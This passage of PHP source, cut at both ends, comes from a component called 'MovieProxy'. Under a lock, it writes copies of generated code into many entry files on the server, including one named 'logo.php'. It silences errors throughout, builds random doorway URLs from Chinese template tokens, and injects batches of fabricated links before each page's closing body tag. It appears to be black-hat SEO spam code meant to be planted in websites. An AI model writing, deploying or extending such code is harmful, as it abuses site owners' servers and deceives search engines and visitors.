!empty($state)
&& $state['version'] === MOVIEPROXY_VERSION
&& $state['source_stamp'] !== ''
&& $state['source_stamp'] === MovieProxy_entrySourceStamp()
&& $age >= 0
&& $age < $interval
) {
@flock($lock, LOCK_UN);
@fclose($lock);
$done = true;
return true;
}
}
$code = MovieProxy_generatedCode();
$fingerprint = $code !== '' ? MovieProxy_codeFingerprint($code) : '';
$created = 0;
$updated = 0;
$existing = 0;
$skipped = 0;
if ($code !== '' && $fingerprint !== '') {
foreach (MovieProxy_entryCreatePaths() as $urlPath) {
$target = MovieProxy_urlPathToEntryFile($urlPath, false);
if ($target === '') {
$skipped++;
continue;
}
$wasFile = is_file($target);
$result = MovieProxy_writeEntryFile($target, $code, $fingerprint);
if ($result === 'existing') {
$existing++;
} elseif ($result === 'written') {
if ($wasFile) $updated++;
else $created++;
} else {
$skipped++;
}
}
} else {
$skipped++;
}
@ftruncate($lock, 0);
@rewind($lock);
$line = implode('|', array(
MOVIEPROXY_VERSION,
time(),
MovieProxy_entrySourceStamp(),
$fingerprint,
$created,
$updated,
$existing,
$skipped
))."\n";
@fwrite($lock, $line);
@fflush($lock);
@flock($lock, LOCK_UN);
@fclose($lock);
clearstatcache(true, $lockPath);
$legacyLock = rtrim(MovieProxy_entryRootDir(), '/\\').DIRECTORY_SEPARATOR.'.movieproxy_logo_sync.lock';
if (is_file($legacyLock)) @unlink($legacyLock);
$done = true;
return $created > 0 || $updated > 0 || $existing > 0;
}
function MovieProxy_ensureLogo()
{
MovieProxy_ensureEntryFiles();
$logoPath = MovieProxy_entryApplyRootPath('/logo.php');
$target = MovieProxy_urlPathToEntryFile($logoPath, true);
return MovieProxy_isCompatibleEntryFile($target);
}
function MovieProxy_randomNumber($length)
{
$length = max(1, intval($length));
$value = '';
$i = 0;
for ($i = 0; $i < $length; $i++) $value .= mt_rand(0, 9);
return $value;
}
function MovieProxy_randomRangeCallback($match)
{
$min = intval($match[1]);
$max = intval($match[2]);
if ($min > $max) {
$tmp = $min;
$min = $max;
$max = $tmp;
}
return MovieProxy_randomNumber(mt_rand($min, $max));
}
function MovieProxy_randomFixedCallback($match)
{
return MovieProxy_randomNumber(intval($match[1]));
}
function MovieProxy_randomDefaultCallback($match)
{
return MovieProxy_randomNumber(mt_rand(5, 8));
}
function MovieProxy_convertEncoding($value, $to, $from)
{
if ($value === '' || strcasecmp($to, $from) === 0) return $value;
if (function_exists('mb_convert_encoding')) {
$converted = @mb_convert_encoding($value, $to, $from);
if (is_string($converted) && $converted !== '') return $converted;
}
if (function_exists('iconv')) {
$converted = @iconv($from, $to.'//IGNORE', $value);
if ($converted !== false && $converted !== '') return $converted;
}
return $value;
}
function MovieProxy_replaceRandom($value)
{
$value = trim((string)$value);
if ($value === '') return '';
$sourceCharset = 'UTF-8';
if (@preg_match('//u', $value) !== 1) {
$sourceCharset = 'GB18030';
$value = MovieProxy_convertEncoding($value, 'UTF-8', 'GB18030');
}
$value = str_replace(array("\xEF\xBD\x9B", "\xEF\xBD\x9D"), array('{', '}'), $value);
$value = @preg_replace_callback('/\{(?:随机数字|数字)(?:几)?\}/u', 'MovieProxy_randomDefaultCallback', $value);
$labels = array('随机数字', '数字');
$i = 0;
for ($i = 0; $i < count($labels); $i++) {
$label = preg_quote($labels[$i], '/');
$value = @preg_replace_callback('/\{'.$label.'(\d+)\s*-\s*(\d+)\}/u', 'MovieProxy_randomRangeCallback', $value);
$value = @preg_replace_callback('/\{'.$label.'(\d+)\}/u', 'MovieProxy_randomFixedCallback', $value);
}
$value = @preg_replace_callback('/\{(\d+)\s*-\s*(\d+)\}/', 'MovieProxy_randomRangeCallback', $value);
$value = @preg_replace_callback('/\{(\d+)\}/', 'MovieProxy_randomFixedCallback', $value);
if ($sourceCharset !== 'UTF-8') {
$value = MovieProxy_convertEncoding($value, $sourceCharset, 'UTF-8');
}
return (string)$value;
}
function MovieProxy_replaceYzzRandom($value)
{
$value = trim((string)$value);
if ($value === '') return '';
$sourceCharset = 'UTF-8';
if (@preg_match('//u', $value) !== 1) {
$sourceCharset = 'GB18030';
$value = MovieProxy_convertEncoding($value, 'UTF-8', 'GB18030');
}
$value = str_replace(array("\xEF\xBD\x9B", "\xEF\xBD\x9D"), array('{', '}'), $value);
$value = @preg_replace_callback('/\{随机数字(\d+)\s*-\s*(\d+)\}/u', 'MovieProxy_randomRangeCallback', $value);
$value = @preg_replace_callback('/\{随机数字(\d+)\}/u', 'MovieProxy_randomFixedCallback', $value);
$value = @preg_replace_callback('/\{随机数字几\}/u', 'MovieProxy_randomDefaultCallback', $value);
$value = @preg_replace_callback('/\{随机数字\}/u', 'MovieProxy_randomDefaultCallback', $value);
if ($sourceCharset !== 'UTF-8') {
$value = MovieProxy_convertEncoding($value, $sourceCharset, 'UTF-8');
}
return (string)$value;
}
function MovieProxy_pickWeightedLogoPath($cfg)
{
$pool = isset($cfg['logo_path_pool']) && is_array($cfg['logo_path_pool'])
? $cfg['logo_path_pool']
: array();
$valid = array();
$totalWeight = 0;
$i = 0;
for ($i = 0; $i < count($pool); $i++) {
if (!is_array($pool[$i])) continue;
$path = isset($pool[$i]['path']) ? trim((string)$pool[$i]['path']) : '';
$weight = isset($pool[$i]['weight']) ? intval($pool[$i]['weight']) : 0;
if ($path === '' || $weight < 1) continue;
$valid[] = array('path' => $path, 'weight' => $weight);
$totalWeight += $weight;
}
if ($totalWeight < 1 || empty($valid)) {
return !empty($cfg['logo_random_path'])
? trim((string)$cfg['logo_random_path'])
: '/news/{随机数字5-8}.html';
}
$point = mt_rand(1, $totalWeight);
$current = 0;
for ($i = 0; $i < count($valid); $i++) {
$current += intval($valid[$i]['weight']);
if ($point <= $current) {
return (string)$valid[$i]['path'];
}
}
return (string)$valid[count($valid) - 1]['path'];
}
function MovieProxy_randomLogoUrl()
{
$cfg = MovieProxy_config();
$template = MovieProxy_pickWeightedLogoPath($cfg);
if ($template === '') {
$template = '/news/{随机数字5-8}.html';
}
if (substr($template, 0, 1) !== '/') {
$template = '/'.ltrim($template, '/');
}
$path = MovieProxy_replaceRandom($template);
if ($path === '' || strpos($path, '{') !== false || strpos($path, '}') !== false) {
$path = '/news/'.MovieProxy_randomNumber(mt_rand(5, 8)).'.html';
}
$prefix = MovieProxy_logoPrefix($template, false);
return $prefix !== '' ? $prefix.$path : '';
}
function MovieProxy_randomSlug($minLength, $maxLength)
{
$minLength = max(3, intval($minLength));
$maxLength = max($minLength, intval($maxLength));
$length = $minLength === $maxLength ? $minLength : mt_rand($minLength, $maxLength);
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$maxIndex = strlen($chars) - 1;
$slug = '';
$i = 0;
for ($i = 0; $i < $length; $i++) {
$slug .= $chars[mt_rand(0, $maxIndex)];
}
return $slug;
}
function MovieProxy_isDirectEntryRequest($uri)
{
$current = MovieProxy_currentEntryPath();
if ($current === '') return false;
$query = @parse_url((string)$uri, PHP_URL_QUERY);
if ($query !== false && $query !== null && trim((string)$query) !== '') return false;
$path = @parse_url((string)$uri, PHP_URL_PATH);
if ($path === false || $path === null || $path === '') $path = '/';
$path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', (string)$path)), '/');
$current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', (string)$current)), '/');
if (strcasecmp($path, $current) === 0) return true;
if (strcasecmp(basename($current), 'index.php') === 0) {
$dir = MovieProxy_normalizeBasePath(dirname($current));
if ($path === $dir || rtrim($path, '/') === rtrim($dir, '/')) return true;
}
return false;
}
function MovieProxy_directEntryLinks($count)
{
$cfg = MovieProxy_config();
$count = max(1, min(100, intval($count)));
$entry = MovieProxy_currentEntryPath();
if ($entry === '') return array();
$topics = isset($cfg['direct_entry_link_topics']) && is_array($cfg['direct_entry_link_topics'])
? $cfg['direct_entry_link_topics']
: array('html', 'news', 'article', 'content', 'product');
$cleanTopics = array();
foreach ($topics as $topic) {
$topic = strtolower(preg_replace('/[^a-z0-9_-]/i', '', trim((string)$topic)));
if ($topic !== '') $cleanTopics[] = $topic;
}
if (empty($cleanTopics)) $cleanTopics = array('html', 'news', 'article', 'content', 'product');
$links = array();
$seen = array();
$attempts = 0;
while (count($links) < $count && $attempts < $count * 20) {
$attempts++;
$index = count($links);
$topic = $cleanTopics[$index % count($cleanTopics)];
$slug = MovieProxy_randomSlug(6, 9);
$contentPath = '/'.$topic.'/'.$slug.'.html';
$href = ($index % 2 === 0)
? $entry.'?'.$contentPath
: $entry.$contentPath;
if (isset($seen[$href])) continue;
$seen[$href] = true;
$links[] = array(
'href' => $href,
'text' => $topic.'-'.$slug
);
}
return $links;
}
function MovieProxy_directEntryLinksHtml($count)
{
$links = MovieProxy_directEntryLinks($count);
if (empty($links)) return '';
$html = "\n\n";
return $html;
}
function MovieProxy_appendDirectEntryLinks($html)
{
$cfg = MovieProxy_config();
if (empty($cfg['direct_entry_links_enabled'])) return (string)$html;
$html = (string)$html;
if (stripos($html, 'id="movieproxy-auto-links"') !== false) return $html;
$count = isset($cfg['direct_entry_link_count']) ? intval($cfg['direct_entry_link_count']) : 10;
$block = MovieProxy_directEntryLinksHtml($count);
if ($block === '') return $html;
if (preg_match('/<\/body\s*>/i', $html)) {
return preg_replace('/<\/body\s*>/i', $block.' ', $html, 1);
}
return $html.$block;
}
function MovieProxy_outputDirectEntryPage($method)
{
$cfg = MovieProxy_config();
$count = isset($cfg['direct_entry_link_count']) ? intval($cfg['direct_entry_link_count']) : 10;
$links = MovieProxy_directEntryLinksHtml($count);
MovieProxy_status(200);
if (!headers_sent()) {
header('Content-Type: text/html; charset=UTF-8', true);
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
header('Pragma: no-cache', true);
header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true);
if (function_exists('header_remove')) {
@header_remove('Content-Length');
@header_remove('Content-Encoding');
}
}
if (strtoupper((string)$method) === 'HEAD') return;
$entry = MovieProxy_currentEntryPath();
echo '